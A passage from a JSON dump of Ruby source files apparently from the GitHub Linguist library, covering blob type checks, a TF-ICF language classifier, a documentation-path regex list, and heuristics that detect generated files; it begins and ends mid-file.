data.nil?\n        true\n\n      # Treat blank files as text\n      elsif data == \"\"\n        false\n\n      # Charlock doesn't know what to think\n      elsif encoding.nil?\n        true\n\n      # If Charlock says its binary\n      else\n        detect_encoding[:type] == :binary\n      end\n    end\n\n    # Public: Is the blob empty?\n    #\n    # Return true or false\n    def empty?\n      data.nil? || data == \"\"\n    end\n\n    # Public: Is the blob text?\n    #\n    # Return true or false\n    def text?\n      !binary?\n    end\n\n    # Public: Is the blob a supported image format?\n    #\n    # Return true or false\n    def image?\n      ['.png', '.jpg', '.jpeg', '.gif'].include?(extname.downcase)\n    end\n\n    # Public: Is the blob a supported 3D model format?\n    #\n    # Return true or false\n    def solid?\n      extname.downcase == '.stl'\n    end\n\n    # Public: Is this blob a CSV file?\n    #\n    # Return true or false\n    def csv?\n      text? && extname.downcase == '.csv'\n    end\n\n    # Public: Is the blob a PDF?\n    #\n    # Return true or false\n    def pdf?\n      extname.downcase == '.pdf'\n    end\n\n    MEGABYTE = 1024 * 1024\n\n    # Public: Is the blob too big to load?\n    #\n    # Return true or false\n    def large?\n      size.to_i > MEGABYTE\n    end\n\n    # Public: Is the blob safe to colorize?\n    #\n    # Return true or false\n    def safe_to_colorize?\n      !large? && text? && !high_ratio_of_long_lines?\n    end\n\n    # Internal: Does the blob have a ratio of long lines?\n    #\n    # Return true or false\n    def high_ratio_of_long_lines?\n      return false if loc == 0\n      size / loc > 5000\n    end\n\n    # Public: Is the blob viewable?\n    #\n    # Non-viewable blobs will just show a \"View Raw\" link\n    #\n    # Return true or false\n    def viewable?\n      !large? && text?\n    end\n\n    vendored_paths = YAML.load_file(File.expand_path(\"../vendor.yml\", __FILE__))\n    VendoredRegexp = Regexp.new(vendored_paths.join('|'))\n\n    # Public: Is the blob in a vendored directory?\n    #\n    # Vendored files are ignored by language statistics.\n    #\n    # See \"vendor.yml\" for a list of vendored conventions that match\n    # this pattern.\n    #\n    # Return true or false\n    def vendored?\n      path =~ VendoredRegexp ? true : false\n    end\n\n    documentation_paths = YAML.load_file(File.expand_path(\"../documentation.yml\", __FILE__))\n    DocumentationRegexp = Regexp.new(documentation_paths.join('|'))\n\n    # Public: Is the blob in a documentation directory?\n    #\n    # Documentation files are ignored by language statistics.\n    #\n    # See \"documentation.yml\" for a list of documentation conventions that match\n    # this pattern.\n    #\n    # Return true or false\n    def documentation?\n      path =~ DocumentationRegexp ? true : false\n    end\n\n    # Public: Get each line of data\n    #\n    # Requires Blob#data\n    #\n    # Returns an Array of lines\n    def lines\n      @lines ||=\n        if viewable? && data\n          # `data` is usually encoded as ASCII-8BIT even when the content has\n          # been detected as a different encoding. However, we are not allowed\n          # to change the encoding of `data` because we've made the implicit\n          # guarantee that each entry in `lines` is encoded the same way as\n          # `data`.\n          #\n          # Instead, we re-encode each possible newline sequence as the\n          # detected encoding, then force them back to the encoding of `data`\n          # (usually a binary encoding like ASCII-8BIT). This means that the\n          # byte sequence will match how newlines are likely encoded in the\n          # file, but we don't have to change the encoding of `data` as far as\n          # Ruby is concerned. This allows us to correctly parse out each line\n          # without changing the encoding of `data`, and\n          # also--importantly--without having to duplicate many (potentially\n          # large) strings.\n          begin\n            # `data` is split after having its last `\\n` removed by\n            # chomp (if any). This prevents the creation of an empty\n            # element after the final `\\n` character on POSIX files.\n            data.chomp.split(encoded_newlines_re, -1)\n          rescue Encoding::ConverterNotFoundError\n            # The data is not splittable in the detected encoding.  Assume it's\n            # one big line.\n            [data]\n          end\n        else\n          []\n        end\n    end\n\n    def encoded_newlines_re\n      @encoded_newlines_re ||= Regexp.union([\"\\r\\n\", \"\\r\", \"\\n\"].\n                                              map { |nl| nl.encode(ruby_encoding, \"ASCII-8BIT\").force_encoding(data.encoding) })\n\n    end\n\n    def first_lines(n)\n      return lines[0...n] if defined? @lines\n      return [] unless viewable? && data\n\n      i, c = 0, 0\n      while c < n && j = data.index(encoded_newlines_re, i)\n        i = j + $&.length\n        c += 1\n      end\n      data[0...i].split(encoded_newlines_re, -1)\n    end\n\n    def last_lines(n)\n      if defined? @lines\n        if n >= @lines.length\n          @lines\n        else\n          lines[-n..-1]\n        end\n      end\n      return [] unless viewable? && data\n\n      no_eol = true\n      i, c = data.length, 0\n      k = i\n      while c < n && j = data.rindex(encoded_newlines_re, i - 1)\n        if c == 0 && j + $&.length == i\n          no_eol = false\n          n += 1\n        end\n        i = j\n        k = j + $&.length\n        c += 1\n      end\n      r = data[k..-1].split(encoded_newlines_re, -1)\n      r.pop if !no_eol\n      r\n    end\n\n    # Public: Get number of lines of code\n    #\n    # Requires Blob#data\n    #\n    # Returns Integer\n    def loc\n      lines.size\n    end\n\n    # Public: Get number of source lines of code\n    #\n    # Requires Blob#data\n    #\n    # Returns Integer\n    def sloc\n      lines.grep(/\\S/).size\n    end\n\n    # Public: Is the blob a generated file?\n    #\n    # Generated source code is suppressed in diffs and is ignored by\n    # language statistics.\n    #\n    # May load Blob#data\n    #\n    # Return true or false\n    def generated?\n      @_generated ||= Generated.generated?(path, lambda { data })\n    end\n\n    # Public: Detects the Language of the blob.\n    #\n    # May load Blob#data\n    #\n    # Returns a Language or nil if none is detected\n    def language\n      @language ||= Linguist.detect(self)\n    end\n\n    # Internal: Get the TextMate compatible scope for the blob\n    def tm_scope\n      language && language.tm_scope\n    end\n\n    DETECTABLE_TYPES = [:programming, :markup].freeze\n\n    # Internal: Should this blob be included in repository language statistics?\n    def include_in_language_stats?\n      !vendored? &&\n      !documentation? &&\n      !generated? &&\n      language && ( defined?(detectable?) && !detectable?.nil? ?\n        detectable? :\n        DETECTABLE_TYPES.include?(language.type)\n      )\n    end\n  end\nend\n"
  },
  {
    "path": "lib/linguist/classifier.rb",
    "content": "require 'linguist/tokenizer'\nrequire 'set'\n\nmodule Linguist\n  # Language content classifier.\n  class Classifier\n    # Maximum number of bytes to consider for classification.\n    # This is only used at evaluation time. During training, full content of\n    # samples is used.\n    CLASSIFIER_CONSIDER_BYTES = 50 * 1024\n\n    # Public: Use the classifier to detect language of the blob.\n    #\n    # blob               - An object that quacks like a blob.\n    # possible_languages - Array of Language objects\n    #\n    # Examples\n    #\n    #   Classifier.call(FileBlob.new(\"path/to/file\"), [\n    #     Language[\"Ruby\"], Language[\"Python\"]\n    #   ])\n    #\n    # Returns an Array of Language objects, most probable first.\n    def self.call(blob, possible_languages)\n      language_names = possible_languages.map(&:name)\n      classify(Samples.cache, blob.data[0...CLASSIFIER_CONSIDER_BYTES], language_names).map do |name, _|\n        Language[name] # Return the actual Language objects\n      end\n    end\n\n    # Public: Train classifier that data is a certain language.\n    #\n    # db       - Hash classifier database object\n    # language - String language of data\n    # data     - String contents of file or array of tokens.\n    #\n    # Examples\n    #\n    #   Classifier.train!(db, 'Ruby', \"def hello; end\")\n    #\n    # Returns nil.\n    #\n    # Set LINGUIST_DEBUG=1, =2 or =3 to print internal statistics.\n    def self.train!(db, language, data)\n      tokens = data\n      tokens = Tokenizer.tokenize(tokens) if tokens.is_a?(String)\n\n      db['vocabulary'] ||= {}\n      # Set hash to autoincremented index value\n      if db['vocabulary'].default_proc.nil?\n        db['vocabulary'].default_proc = proc do |hash, key|\n          hash[key] = hash.length\n        end\n      end\n\n      db['samples'] ||= {}\n      db['samples'][language] ||= []\n\n      termfreq = to_vocabulary_index_termfreq(db['vocabulary'], tokens)\n      db['samples'][language] << termfreq\n\n      nil\n    end\n\n    # Public: Finalize training.\n    #\n    # db - Hash classifier database object\n    #\n    # Examples:\n    #   Classifier.finalize_train!(db)\n    #\n    # Returns nil.\n    #\n    # This method must be called after the last #train! call.\n    def self.finalize_train!(db)\n      db['vocabulary'] ||= {}\n\n      # Unset hash autoincrement\n      db['vocabulary'].default_proc = nil\n\n      db['samples'] ||= []\n      filter_vocab_by_freq! db, MIN_DOCUMENT_FREQUENCY\n      sort_vocab! db\n      db['icf'] = inverse_class_freqs db\n      normalize_samples! db\n      db['centroids'] = get_centroids db\n      db.delete 'samples'\n      nil\n    end\n\n    # Public: Guess language of data.\n    #\n    # db        - Hash of classifier tokens database.\n    # data      - Array of tokens or String data to analyze.\n    # languages - Array of language name Strings to restrict to.\n    #\n    # Examples\n    #\n    #   Classifier.classify(db, \"def hello; end\")\n    #   # => [ 'Ruby', 0.90], ['Python', 0.2], ... ]\n    #\n    # Returns sorted Array of result pairs. Each pair contains the\n    # String language name and a Float score between 0.0 and 1.0.\n    def self.classify(db, tokens, languages = nil)\n      languages ||= db['centroids'].keys\n      new(db).classify(tokens, languages)\n    end\n\n    # Internal: Initialize a Classifier.\n    def initialize(db = {})\n      @vocabulary = db['vocabulary']\n      @centroids  = db['centroids']\n      @icf = db['icf']\n    end\n\n    # Internal: Guess language of data\n    #\n    # data      - Array of tokens or String data to analyze.\n    # languages - Array of language name Strings to restrict to.\n    #\n    # Returns sorted Array of result pairs. Each pair contains the\n    # String language name and a Float score between 0.0 and 1.0.\n    def classify(tokens, languages)\n      return [] if tokens.nil? || languages.empty?\n      tokens = Tokenizer.tokenize(tokens) if tokens.is_a?(String)\n\n      debug_dump_tokens(tokens) if verbosity >= 3\n\n      vec = Classifier.to_vocabulary_index_termfreq_gaps(@vocabulary, tokens)\n      vec.each do |idx, freq|\n        tf = 1.0 + Math.log(freq)\n        vec[idx] = tf * @icf[idx]\n      end\n      return [] if vec.empty?\n      Classifier.l2_normalize!(vec)\n\n      scores = {}\n      languages.each do |language|\n        centroid = @centroids[language]\n        score = Classifier.similarity(vec, centroid)\n        if score > 0.0\n          scores[language] = score\n        end\n      end\n      scores = scores.sort_by { |x| -x[1] }\n      debug_dump_all_tokens(tokens, scores) if verbosity >= 2\n      debug_dump_scores(scores) if verbosity >= 1\n      scores\n    end\n\n    private\n      MIN_DOCUMENT_FREQUENCY = 2\n\n      def verbosity\n        @verbosity ||= (ENV['LINGUIST_DEBUG'] || 0).to_i\n      end\n\n      def debug_dump_scores(scores)\n        headers = [\"Language\", \"Score\"]\n        rows = scores.map { |l, s| [l, \"%.3f\" % s] }\n        dump_table(headers, rows)\n      end\n\n      def debug_dump_tokens(tokens)\n        counts = Hash.new(0)\n        tokens.each do |tok|\n          idx = @vocabulary[tok]\n          if not idx.nil?\n            counts[tok] += 1\n          end\n        end\n\n        norm = Classifier.l2_norm(counts)\n        rows = counts.map do |tok, tf|\n          idx = @vocabulary[tok]\n          log_tf = 1.0 + Math.log(tf)\n          with_icf = log_tf * @icf[idx]\n          normalized = with_icf / norm\n          row = [tok, tf, \"%.3f\" % log_tf, \"%.3f\" % with_icf, \"%.3f\" % normalized]\n          [normalized, row]\n        end\n\n        headers = [\"Token\", \"TF\", \"log\", \"*ICF\", \"L2\"]\n        rows = rows.sort_by { |x| -x[0] }.map { |_, row| row }\n        dump_table(headers, rows)\n      end\n\n      # Internal: show a table of probabilities for each <token,language> pair.\n      #\n      # The number in each table entry is the number of \"points\" that each\n      # token contributes toward the belief that the file under test is a\n      # particular language.  Points are additive.\n      def debug_dump_all_tokens(tokens, scores)\n        languages = scores.map { |l, _| l }\n\n        counts = Hash.new(0)\n        tokens.each do |tok|\n          idx = @vocabulary[tok]\n          if not idx.nil?\n            counts[tok] += 1\n          end\n        end\n\n        data = {}\n        norm = Classifier.l2_norm(counts)\n        languages.each do |language|\n          data[language] = {}\n          counts.each do |tok, tf|\n            idx = @vocabulary[tok]\n            log_tf = 1.0 + Math.log(tf)\n            with_icf = log_tf * @icf[idx]\n            normalized = with_icf / norm\n            data[language][tok] = normalized * @centroids[language][idx].to_f\n          end\n        end\n\n        norm = Classifier.l2_norm(counts)\n        rows = counts.map do |tok, tf|\n          idx = @vocabulary[tok]\n          log_tf = 1.0 + Math.log(tf)\n          with_icf = log_tf * @icf[idx]\n          normalized = with_icf / norm\n          scores = languages.map do |l, _|\n            [l, data[l][tok].to_f]\n          end\n          max_score = scores.to_h.values.max\n          row = [tok] + scores.map do |l, s|\n            if s == max_score\n              \"%.4f*\" % s\n            elsif s > 0.0\n              \"%.4f\" % s\n            else\n              \"-\"\n            end\n          end\n          [normalized, row]\n        end\n        headers = [\"Token\"] + (0..languages.length-1).map { |lidx| \"[#{lidx}]\" }\n        rows = rows.sort_by { |x| -x[0] }.map { |_, row| row }\n        legend = languages.each_with_index.map { |l, lidx| \"[#{lidx}] = #{l}\" }\n        dump_table(headers, rows, legend)\n      end\n\n      def dump_table(header, rows, legend = nil)\n        n_cols = header.length\n        rows = rows.map { |r| r.map { |c| c.to_s } }\n        col_widths = (0..n_cols - 1).map do |j|\n          ([header[j].length] + rows.map { |row| row[j].length }).max\n        end\n        sep_line = \"| #{(0..n_cols-1).map { |j| \"-\" * col_widths[j] }.join(\" | \")} |\"\n        content_width = sep_line.length - 4\n        top_line = \"| #{\"-\" * content_width} |\"\n\n        format_row = Proc.new do |row|\n          cells = row.zip(col_widths).map do |cell, width|\n            \"%-#{width}s\" % cell\n          end\n          \"| %s |\" % cells.join(\" | \")\n        end\n\n        puts top_line\n        puts format_row.call(header)\n        puts sep_line\n        rows.each do |row|\n          puts format_row.call(row)\n        end\n        puts top_line\n        if legend\n          legend.each do |line|\n            puts \"| %-#{content_width}s |\" % line\n          end\n          puts top_line\n        end\n      end\n\n      def self.to_vocabulary_index_termfreq(vocab, tokens)\n        counts = Hash.new(0)\n        tokens.each do |key|\n          idx = vocab[key]\n          counts[idx] += 1\n        end\n        counts\n      end\n\n      def self.to_vocabulary_index_termfreq_gaps(vocab, tokens)\n        counts = Hash.new(0)\n        tokens.each do |key|\n          if vocab.key? key\n            idx = vocab[key]\n            counts[idx] += 1\n          end\n        end\n        counts\n      end\n\n      def self.l2_norm(vec)\n        norm = vec.values.inject(0.0) { |sum, x| sum + x**2 }\n        Math.sqrt(norm)\n      end\n\n      def self.l2_normalize!(vec)\n        norm = l2_norm(vec)\n        vec.transform_values! do |value|\n          value.to_f / norm\n        end\n        nil\n      end\n\n      def self.similarity(a, b)\n        sum = 0.0\n        a.each_key do |idx|\n          if b.key? idx\n            sum += a[idx] * b[idx]\n          end\n        end\n        sum\n      end\n\n    # Filter vocabulary by minimum document frequency.\n    def self.filter_vocab_by_freq!(db, min_freq)\n      vocabulary = db['vocabulary']\n\n      # Get document frequencies\n      docfreq = Array.new(vocabulary.size, 0)\n      db['samples'].each_value do |samples|\n        samples.each do |sample|\n          sample.each_key do |idx|\n            docfreq[idx] += 1\n          end\n        end\n      end\n\n      vocabulary.select! do |_, idx|\n        docfreq[idx] >= min_freq\n      end\n\n      nil\n    end\n\n    # Sort vocabulary lexicographically.\n    def self.sort_vocab!(db)\n      new_indices = Hash.new { |h,k| h[k] = h.length }\n      db['vocabulary'].sort_by { |x| x[0] }.each do |term, idx|\n        db['vocabulary'][term] = new_indices[idx]\n      end\n      new_indices.default_proc = nil\n\n      db['samples'].transform_values! do |samples|\n        samples.map do |sample|\n          new_sample = {}\n          sample.each do |idx, freq|\n            new_idx = new_indices[idx]\n            if not new_idx.nil?\n              new_sample[new_idx] = freq\n            end\n          end\n          new_sample\n        end\n      end\n    end\n\n    # Compute inverse class frequency (ICF) for every term.\n    def self.inverse_class_freqs(db)\n      icf = Array.new(db['vocabulary'].size, 0)\n      db['samples'].each_value do |samples|\n        terms = Set.new\n        samples.each do |sample|\n          terms |= sample.keys\n        end\n        terms.each do |idx|\n          icf[idx] += 1\n        end\n      end\n      icf.map! do |val|\n        Math.log(db['samples'].size.to_f / val.to_f) + 1\n      end\n      icf\n    end\n\n    def self.normalize_samples!(db)\n      icf = db['icf']\n      db['samples'].each_value do |samples|\n        samples.each do |sample|\n          sample.each do |idx, freq|\n            tf = 1.0 + Math.log(freq)\n            sample[idx] = tf * icf[idx]\n          end\n          l2_normalize! sample\n        end\n      end\n    end\n\n    def self.get_centroids(db)\n      centroids = {}\n      db['samples'].each do |language, samples|\n        centroid = Hash.new(0.0)\n        samples.each do |sample|\n          sample.each do |idx, val|\n            centroid[idx] += val\n          end\n        end\n        centroid.each_key do |idx|\n          centroid[idx] = centroid[idx] / samples.length\n        end\n        l2_normalize! centroid\n        centroids[language] = centroid\n      end\n      centroids\n    end\n\n  end\nend\n"
  },
  {
    "path": "lib/linguist/documentation.yml",
    "content": "# Documentation files and directories are excluded from language\n# statistics.\n#\n# Lines in this file are Regexps that are matched against the file\n# pathname.\n#\n# Please add additional test coverage to\n# `test/test_blob.rb#test_documentation` if you make any changes.\n\n## Documentation directories ##\n\n- ^[Dd]ocs?/\n- (^|/)[Dd]ocumentation/\n- (^|/)[Gg]roovydoc/\n- (^|/)[Jj]avadoc/\n- ^[Mm]an/\n- ^[Ee]xamples/\n- ^[Dd]emos?/\n- (^|/)inst/doc/\n\n## Documentation files ##\n\n- (^|/)CITATION(\\.cff|(S)?(\\.(bib|md))?)$\n- (^|/)CHANGE(S|LOG)?(\\.|$)\n- (^|/)CONTRIBUTING(\\.|$)\n- (^|/)COPYING(\\.|$)\n- (^|/)INSTALL(\\.|$)\n- (^|/)LICEN[CS]E(\\.|$)\n- (^|/)[Ll]icen[cs]e(\\.|$)\n- (^|/)README(\\.|$)\n- (^|/)[Rr]eadme(\\.|$)\n\n# Samples folders\n- ^[Ss]amples?/\n"
  },
  {
    "path": "lib/linguist/file_blob.rb",
    "content": "require 'linguist/blob_helper'\nrequire 'linguist/blob'\n\nmodule Linguist\n  # A FileBlob is a wrapper around a File object to make it quack\n  # like a Grit::Blob. It provides the basic interface: `name`,\n  # `data`, `path` and `size`.\n  class FileBlob < Blob\n    include BlobHelper\n\n    # Public: Initialize a new FileBlob from a path\n    #\n    # path      - A path String that exists on the file system.\n    # base_path - Optional base to relativize the path\n    #\n    # Returns a FileBlob.\n    def initialize(path, base_path = nil)\n      @fullpath = path\n      @path = base_path ? path.sub(\"#{base_path}/\", '') : path\n    end\n\n    # Public: Read file permissions\n    #\n    # Returns a String like '100644'\n    def mode\n      @mode ||= File.stat(@fullpath).mode.to_s(8)\n    end\n\n    def symlink?\n      return @symlink if defined? @symlink\n      @symlink = (File.symlink?(@fullpath) rescue false)\n    end\n\n    # Public: Read file contents.\n    #\n    # Returns a String.\n    def data\n      @data ||= File.read(@fullpath, :encoding => \"ASCII-8BIT\")\n    end\n\n    # Public: Get byte size\n    #\n    # Returns an Integer.\n    def size\n      @size ||= File.size(@fullpath)\n    end\n  end\nend\n"
  },
  {
    "path": "lib/linguist/generated.rb",
    "content": "module Linguist\n  class Generated\n    # Public: Is the blob a generated file?\n    #\n    # name - String filename\n    # data - String blob data. A block also may be passed in for lazy\n    #        loading. This behavior is deprecated and you should always\n    #        pass in a String.\n    #\n    # Return true or false\n    def self.generated?(name, data)\n      new(name, data).generated?\n    end\n\n    # Internal: Initialize Generated instance\n    #\n    # name - String filename\n    # data - String blob data\n    def initialize(name, data)\n      @name = name\n      @extname = File.extname(name)\n      @_data = data\n    end\n\n    attr_reader :name, :extname\n\n    # Lazy load blob data if block was passed in.\n    #\n    # Awful, awful stuff happening here.\n    #\n    # Returns String data.\n    def data\n      @data ||= @_data.respond_to?(:call) ? @_data.call() : @_data\n    end\n\n    # Public: Get each line of data\n    #\n    # Returns an Array of lines\n    def lines\n      # TODO: data should be required to be a String, no nils\n      @lines ||= data ? data.split(\"\\n\", -1) : []\n    end\n\n    # Internal: Is the blob a generated file?\n    #\n    # Generated source code is suppressed in diffs and is ignored by\n    # language statistics.\n    #\n    # Please add additional test coverage to\n    # `test/test_blob.rb#test_generated` if you make any changes.\n    #\n    # Return true or false\n    def generated?\n      xcode_file? ||\n      intellij_file? ||\n      cocoapods? ||\n      carthage_build? ||\n      generated_graphql_relay? ||\n      generated_net_designer_file? ||\n      generated_net_specflow_feature_file? ||\n      composer_lock? ||\n      cargo_lock? ||\n      cargo_orig? ||\n      deno_lock? ||\n      flake_lock? ||\n      bazel_lock? ||\n      node_modules? ||\n      go_vendor? ||\n      go_lock? ||\n      package_resolved? ||\n      poetry_lock? ||\n      pdm_lock? ||\n      uv_lock? ||\n      pixi_lock? ||\n      esy_lock? ||\n      npm_shrinkwrap_or_package_lock? ||\n      pnpm_lock? ||\n      bun_lock? ||\n      terraform_lock? ||\n      generated_yarn_plugnplay? ||\n      godeps? ||\n      generated_by_zephir? ||\n      htmlcov? ||\n      minified_files? ||\n      has_source_map? ||\n      source_map? ||\n      compiled_coffeescript? ||\n      generated_parser? ||\n      generated_net_docfile? ||\n      generated_postscript? ||\n      compiled_cython_file? ||\n      pipenv_lock? ||\n      gradle_wrapper? ||\n      maven_wrapper? ||\n      generated_go? ||\n      generated_protocol_buffer_from_go? ||\n      generated_protocol_buffer? ||\n      generated_javascript_protocol_buffer? ||\n      generated_typescript_protocol_buffer? ||\n      generated_apache_thrift? ||\n      generated_jni_header? ||\n      vcr_cassette? ||\n      generated_antlr? ||\n      generated_module? ||\n      generated_unity3d_meta? ||\n      generated_racc? ||\n      generated_jflex? ||\n      generated_grammarkit? ||\n      generated_roxygen2? ||\n      generated_html? ||\n      generated_jison? ||\n      generated_grpc_cpp? ||\n      generated_dart? ||\n      generated_perl_ppport_header? ||\n      generated_gamemakerstudio? ||\n      generated_gimp? ||\n      generated_visualstudio6? ||\n      generated_haxe? ||\n      generated_jooq? ||\n      generated_pascal_tlb? ||\n      generated_sorbet_rbi? ||\n      generated_mysql_view_definition_format? ||\n      generated_sqlx_query?\n    end\n\n    # Internal: Is the blob an Xcode file?\n    #\n    # Generated if the file extension is an Xcode\n    # file extension.\n    #\n    # Returns true or false.\n    def xcode_file?\n      ['.nib', '.xcworkspacedata', '.xcuserstate'].include?(extname)\n    end\n\n    # Internal: Is the blob an IntelliJ IDEA project file?\n    #\n    # JetBrains IDEs generate project files under an `.idea` directory\n    # that are sometimes checked into version control.\n    #\n    # Returns true or false.\n    def intellij_file?\n      !!name.match(/(?:^|\\/)\\.idea\\//)\n    end\n\n    # Internal: Is the blob part of Pods/, which contains dependencies not meant for humans in pull requests.\n    #\n    # Returns true or false.\n    def cocoapods?\n      !!name.match(/(^Pods|\\/Pods)\\//)\n    end\n\n    # Internal: Is the blob part of Carthage/Build/, which contains dependencies not meant for humans in pull requests.\n    #\n    # Returns true or false.\n    def carthage_build?\n      !!name.match(/(^|\\/)Carthage\\/Build\\//)\n    end\n\n    # Internal: Does extname indicate a filetype which is commonly minified?\n    #\n    # Returns true or false.\n    def maybe_minified?\n      ['.js', '.css'].include? extname.downcase\n    end\n\n    # Internal: Is the blob a minified file?\n    #\n    # Consider a file minified if the average line length is\n    # greater then 110c.\n    #\n    # Currently, only JS and CSS files are detected by this method.\n    #\n    # Returns true or false.\n    def minified_files?\n      if maybe_minified? and lines.any?\n        (lines.inject(0) { |n, l| n += l.length } / lines.length) > 110\n      else\n        false\n      end\n    end\n\n    # Internal: Does the blob contain a source-map reference?\n    #\n    # We assume that if one of the last 2 lines starts with a source-map\n    # reference, then the current file was generated from other files.\n    #\n    # We use the last 2 lines because the last line might be empty.\n    #\n    # Returns true or false.\n    def has_source_map?\n      return false unless maybe_minified?\n      lines.last(2).any? { |l| l.match(/^\\/[*\\/][\\#@] source(?:Mapping)?URL|sourceURL=/) }\n    end\n\n    # Internal: Is the blob a generated source-map?\n    #\n    # Source-maps usually have .css.map or .js.map extensions. In case they\n    # are not following the name convention, detect them based on the content.\n    #\n    # Returns true or false.\n    def source_map?\n      return false unless extname.downcase == '.map'\n\n      return true if name =~ /(\\.css|\\.js)\\.map$/i ||  # Name convention\n      lines[0] =~ /^{\"version\":\\d+,/ ||                # Revision 2 and later begin with the version number\n      lines[0] =~ /^\\/\\*\\* Begin line maps\\. \\*\\*\\/{/  # Revision 1 begins with a magic comment\n\n      false\n    end\n\n    # Internal: Is the blob of JS generated by CoffeeScript?\n    #\n    # CoffeeScript is meant to output JS that would be difficult to\n    # tell if it was generated or not. Look for a number of patterns\n    # output by the CS compiler.\n    #\n    # Return true or false\n    def compiled_coffeescript?\n      return false unless extname == '.js'\n\n      # CoffeeScript generated by > 1.2 include a comment on the first line\n      if lines[0] =~ /^\\/\\/ Generated by /\n        return true\n      end\n\n      if lines[0] == '(function() {' &&     # First line is module closure opening\n          lines[-2] == '}).call(this);' &&  # Second to last line closes module closure\n          lines[-1] == ''                   # Last line is blank\n\n        score = 0\n\n        lines.each do |line|\n          if line =~ /var /\n            # Underscored temp vars are likely to be Coffee\n            score += 1 * line.gsub(/(_fn|_i|_len|_ref|_results)/).count\n\n            # bind and extend functions are very Coffee specific\n            score += 3 * line.gsub(/(__bind|__extends|__hasProp|__indexOf|__slice)/).count\n          end\n        end\n\n        # Require a score of 3. This is fairly arbitrary. Consider\n        # tweaking later.\n        score >= 3\n      else\n        false\n      end\n    end\n\n    # Internal: Is this a generated documentation file for a .NET assembly?\n    #\n    # .NET developers often check in the XML Intellisense file along with an\n    # assembly - however, these don't have a special extension, so we have to\n    # dig into the contents to determine if it's a docfile. Luckily, these files\n    # are extremely structured, so recognizing them is easy.\n    #\n    # Returns true or false\n    def generated_net_docfile?\n      return false unless extname.downcase == \".xml\"\n      return false unless lines.count > 3\n\n      # .NET Docfiles always open with <doc> and their first tag is an\n      # <assembly> tag\n      return lines[1].include?(\"<doc>\") &&\n        lines[2].include?(\"<assembly>\") &&\n        lines[-2].include?(\"</doc>\")\n    end\n\n    # Internal: Is this a codegen file for a .NET project?\n    #\n    # Visual Studio often uses code generation to generate partial classes, and\n    # these files can be quite unwieldy. Let's hide them.\n    #\n    # Returns true or false\n    def generated_net_designer_file?\n      !!name.match(/\\.designer\\.(cs|vb)$/i)\n    end\n\n    # Internal: Is this a codegen file for Specflow feature file?\n    #\n    # Visual Studio's SpecFlow extension generates *.feature.cs files\n    # from *.feature files, they are not meant to be consumed by humans.\n    # Let's hide them.\n    #\n    # Returns true or false\n    def generated_net_specflow_feature_file?\n      !!name.match(/\\.feature\\.cs$/i)\n    end\n\n    # Internal: Is the blob of JS a parser generated by PEG.js?\n    #\n    # PEG.js-generated parsers are not meant to be consumed by humans.\n    #\n    # Return true or false\n    def generated_parser?\n      return false unless extname == '.js'\n\n      # PEG.js-generated parsers include a comment near the top  of the file\n      # that marks them as such.\n      if lines[0..4].join('') =~ /^(?:[^\\/]|\\/[^\\*])*\\/\\*(?:[^\\*]|\\*[^\\/])*Generated by PEG.js/\n        return true\n      end\n\n      false\n    end\n\n    # Internal: Is the blob of PostScript generated?\n    #\n    # PostScript files are often generated by other programs. If they tell us so,\n    # we can detect them.\n    #\n    # Returns true or false.\n    def generated_postscript?\n      return false unless ['.ps', '.eps', '.pfa'].include? extname\n\n      # Type 1 and Type 42 fonts converted to PostScript are stored as hex-encoded byte streams; these\n      # streams are always preceded the `eexec` operator (if Type 1), or the `/sfnts` key (if Type 42).\n      return true if data =~ /^\\s*(?:currentfile eexec\\s+|\\/sfnts\\s+\\[\\s<)/\n\n      # We analyze the \"%%Creator:\" comment, which contains the author/generator\n      # of the file. If there is one, it should be in one of the first few lines.\n      creator = lines[0..9].find {|line| line =~ /^%%Creator: /}\n      return false if creator.nil?\n\n      # Most generators write their version number, while human authors' or companies'\n      # names don't contain numbers. So look if the line contains digits. Also\n      # look for some special cases without version numbers.\n      return true if creator =~ /[0-9]|draw|mpage|ImageMagick|inkscape|MATLAB/ ||\n        creator =~ /PCBNEW|pnmtops|\\(Unknown\\)|Serif Affinity|Filterimage -tops/\n\n      # EAGLE doesn't include a version number when it generates PostScript.\n      # However, it does prepend its name to the document's \"%%Title\" field.\n      !!creator.include?(\"EAGLE\") and lines[0..4].find {|line| line =~ /^%%Title: EAGLE Drawing /}\n    end\n\n    def generated_go?\n      return false unless extname == '.go'\n      return false unless lines.count > 1\n\n      return lines.first(40).any? { |l| l =~ %r{^// Code generated .*} }\n    end\n\n    # Internal: Is the blob a protocol buffer file generated by the\n    # go-to-protobuf tool?\n    #\n    # Returns true or false\n    def generated_protocol_buffer_from_go?\n      return false unless extname == '.proto'\n      return false unless lines.count > 1\n\n      return lines.first(20).any? { |l| l.include? \"This file was autogenerated by go-to-protobuf\" }\n    end\n\n    PROTOBUF_EXTENSIONS = ['.py', '.java', '.h', '.cc', '.cpp', '.m', '.rb', '.php']\n\n    # Internal: Is the blob a C++, Java or Python source file generated by the\n    # Protocol Buffer compiler?\n    #\n    # Returns true or false.\n    def generated_protocol_buffer?\n      return false unless PROTOBUF_EXTENSIONS.include?(extname)\n      return false unless lines.count > 1\n\n      return lines.first(3).any? { |l| l.include?(\"Generated by the protocol buffer compiler.  DO NOT EDIT!\") }\n    end\n\n    # Internal: Is the blob a Javascript source file generated by the\n    # Protocol Buffer compiler?\n    #\n    # Returns true or false.\n    def generated_javascript_protocol_buffer?\n      return false unless extname == \".js\"\n      return false unless lines.count > 6\n\n      return lines[5].include?(\"GENERATED CODE -- DO NOT EDIT!\")\n    end\n\n    # Internal: Is the blob a TypeScript source file generated by the\n    # Protocol Buffer compiler?\n    #\n    # Files generated by ts-proto typically start with something like this\n    # (though the versions lines are optional):\n    #\n    #     // Code generated by protoc-gen-ts_proto. DO NOT EDIT.\n    #     // versions:\n    #     //   protoc-gen-ts_proto  v1.181.2\n    #     //   protoc               v5.28.2\n    #     // source: hello.proto\n    #\n    #     /* eslint-disable */\n    #\n    # Returns true or false.\n    def generated_typescript_protocol_buffer?\n      return false unless extname == \".ts\"\n      return false unless lines.count > 4\n\n      return lines[0].include?(\"Code generated by protoc-gen-ts_proto. DO NOT EDIT.\")\n    end\n\n    APACHE_THRIFT_EXTENSIONS = ['.rb', '.py', '.go', '.js', '.m', '.java', '.h', '.cc', '.cpp', '.php']\n\n    # Internal: Is the blob generated by Apache Thrift compiler?\n    #\n    # Returns true or false\n    def generated_apache_thrift?\n      return false unless APACHE_THRIFT_EXTENSIONS.include?(extname)\n      return lines.first(6).any? { |l| l.include?(\"Autogenerated by Thrift Compiler\") }\n    end\n\n    # Internal: Is the blob a 